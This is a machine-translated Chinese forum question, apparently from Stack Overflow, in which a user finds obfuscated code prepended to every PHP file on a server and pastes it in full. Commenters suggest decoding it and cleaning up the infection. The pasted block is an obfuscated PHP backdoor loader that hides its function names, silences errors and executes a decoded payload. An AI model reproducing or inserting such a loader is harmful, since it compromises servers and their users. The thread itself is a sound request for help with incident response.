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我被要求帮助更新的朋友一些代码，发现自己的本地文件是干净的PHP，但是当我不小心他们的服务器上查看源PHP代码，所有的PHP文件开始与如下：开始感染
<?php
$okixul = ', $oaqacbv); $czwdrtb();}}- x24 x5c%j^ x24- x24tvctutmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]yf`4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osv0#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:64utjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|fqp%!|Z~!<##!>!2p%!|!*!***b%)sfxprd/#00;quui#>.%!<***f x27,*e x27,*d x27,*c x27,*b x27)fepdo82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fe" x6f 142 x5f 163 x74 141 x72 164")!pd%)!gj}Z;h!opjudovg}{;#)t*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x724- x24!>! x24/%tjw/ x24)% x24- x24y4 x24- x24]y8 xgj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QI:*mmvo:>:iuhofm%:-5pt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bub372]58y]472]37y]672]48y]#>s%<#462]47y]252]1x7f_*#ujojRk3`{666~6<&w6< x7fw6implode(array_map("tqcvlvt",str_split("%tj%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]26d#)tutjyf`opjudovg x22)!985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:5x24-!% x24- x24*!|! x24pd%w6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<Q&f_UTPI`QUUI&e_SEEB`FUPNF x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSdR6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-Uc1^W%c!>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#0#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**24 x54 120 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"]); if4- x24*<!~! x24/%t2w/ x24)##-!#~<#/% 8]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]8{**u%-#jt0}Z;0]=]0#)22^,%b:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!bmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#bT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88ASV<*w%)ppde>u%V<#65,418R#>q%V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%)kVx{**));$czwdrtb = $yvunquf(""S&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&bfmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)b24- x24]26 x24- x24<%j,,*!| x24- x24gvodpt}X;`msvd}R;*msv%)}.;`UQPMSV;utpI#7>/7rfs%6<#o]1/20QUUIubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpqj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)fnbo*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6mjix:<##:>:h%:<#64y]552]e7y]#>n%<#}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbq ((strstr($uas," x6d 163 x69 145"))q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%b#<%fdy>#]D4]273]D6P2L5P6]N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")9#-!#:618d5f9#-!#f6c68399#if((function_exists(&& (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOBALS[" chr(ord($n)-1);} @error_reporting(0); $oaqacbv = ufs!*!+A!>!{e%)!>> x22!ftmbg)4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-b8y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t%)3of:opjudovg<~ xmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V x7R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,7jsv%7UFH# x27rfs%6~6< x7fw%!|!*)323zbek!~!<b% x7f!<X>b%Z<#o`57ftbc x7f!|!*uyfu x27pde:4:|:**#ppde#)tutj2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT8y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fpmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)r>#L4]275L3]248L3P6L1M5]D2s)% x24- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZk:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#po#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)3sv%6<C>^#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22d}+;!>!} x27;!>>>!}_A7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6D!-id%)uqpuft`msvd},;uqpuft`msv62 x65 141 x74 145 x5f 146 x75 156<*K)ftpmdXA6|7**197-ssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#27;mnui}&;zepc}A;~!} x7f;!|!}{;)dov{h19275j{hnpd19275fubmgoj{h1:|p3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5V,6<*)ujojR x27id%6< x7fw6* or (strstr($uas," x72 166 x3a 61 x31")) or (strstr($uas," x61 1w!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]P4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc6|7**111127-K)ebfsX x27u%7]445]212]445]43]321]464]284]364]6]234]342]58]24]31dujpo! x24- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{fpg)% x2W%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%%b:>1<!fmtf!%b:>%s: x5c%j:.;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufl]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]31y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpm56 x64 162 x6f 151 x64"))) { $yvunquf = " x63 1 x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 12#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;osvufs} xE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcv*CW&)7gj6<.[A x27&6< x7fw6* x7f_*#[k2`{6:!}7;!}6fs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnp;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2px24- x24!>!fyqmpef)# x24*<!%t::!>! x24Yptmf!~<**9.-j%-bubE{h%)sutcvt)fu6 x63 164 x69 157 x6e"; function tqcvlvt($n){return24<!%o:!>! x242178}527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24- zcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq% x27j#)zbssb!-#}#)fepmqnj!/!#0#)idu!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvu23ldfidk!~!<**qp%!-uyfu%)3of)fepdof^?]_ x5c}X x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74M4P8]37]278]225]241]334]368]322]3]364y6gP7L6M7]D4]275]D:M8]Df#<%tdz5946-tr.984:75983:48984:71]K9]77]D4]f.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>bn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<`bj+upcotn+qsvmt+fmhpphgj}l;33bq}k;opjudovg}x;0]=])0#)U! x27opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%STrrEvxNoITCnuF_EtaeRCxECaLPer_RtSarvcaeji';
$efkvsyuxf = explode(chr((758 - 638)), substr($okixul, (29531 - 23605), (220 - 186)));
$bzuaezx = $efkvsyuxf[0]($efkvsyuxf[ (3 - 2) ]);
$ecckncqdnt = $efkvsyuxf[0]($efkvsyuxf[ (8 - 6) ]);
if (!function_exists('pwlggr')) {
function pwlggr($coqnotxx, $nceoxvnf, $dhigikttik)
{
$qfvtkf = null;
for ($zmovjihc = 0; $zmovjihc < (sizeof($coqnotxx)/2); $zmovjihc++) {
$qfvtkf .= substr($nceoxvnf, $coqnotxx[ ($zmovjihc * 2) ], $coqnotxx[ ($zmovjihc * 2) + (3 - 2) ]);
}
return $dhigikttik(chr((61 - 52)), chr((602 - 510)), $qfvtkf);
}
;
}
$xxmpwve = explode(chr((159 - 115)),
'2809,20,439,35,2829,61,4784,59,1559,60,2573,35,4120,64,4737,47,3895,33,5218,51,2890,50,882,42,4184,46,2381,61,5782,39,1185,48,2267,22,2289,54,4274,25,979,42,2146,27,3299,27,3928,21,3403,35,1490,69,2228,39,5335,58,3749,48,2540,33,3817,47,501,53,4679,58,1341,43,1302,39,4092,28,851,31,4959,48,4494,52,2116,30,3864,31,3797,20,5064,41,474,27,189,48,5187,31,1800,53,753,55,4890,69,690,63,2969,58,2173,55,1072,24,5105,42,398,41,3491,53,269,59,5678,47,237,32,3091,41,5821,23,5393,30,5725,57,605,65,1233,26,2002,36,3326,33,3693,56,5479,35,3359,23,3654,39,5881,45,5423,56,5007,57,4017,33,670,20,3382,21,93,58,2940,29,3197,40,3620,34,1903,22,3237,62,1925,52,4843,47,3985,32,5844,37,1733,21,2608,43,5514,61,1021,51,1656,34,1690,43,3438,53,2442,34,808,43,3027,64,5269,66,1162,23,26,26,3569,51,554,51,2077,39,4350,61,1619,37,5147,40,4050,42,1384,38,151,38,2783,26,3132,65,1259,43,4411,56,52,41,4613,66,1096,66,5642,36,328,70,2703,25,5612,30,3544,25,4230,44,2651,52,1853,50,5575,37,4546,67,4299,51,1422,68,2476,64,4467,27,1754,46,924,55,2038,39,3949,36,2343,38,2728,55,1977,25,0,26');
$dgqsxh = $bzuaezx("", pwlggr($xxmpwve, $okixul, $ecckncqdnt));
$bzuaezx = $okixul;
$dgqsxh("");
$dgqsxh = (769 - 648);
$okixul = $dgqsxh - 1;
有没有人有什么想法发生了什么，或看过这种类型的代码之前？ 有趣的是，每个页面上的第一个变量似乎不同，但代码是相同的。
运行代码在这里，并检查https://www.unphp.net/ – Afsar
删除。将服务器回滚到最后一次清理日期，更改所有密码，必要时通知用户，并审核整个代码的安全缺陷（不要忘记：*从不*信任用户输入）。 –
您在复制/粘贴时丢失了一些信息。据我所知，变量'$ okixu'必须包含特殊的ASCII字符（例如“tab”字符），当你在SO上进行复制/粘贴时，它们已经被转换成别的东西。所以代码没有正确解压，很难说它应该做什么。 – rlanvin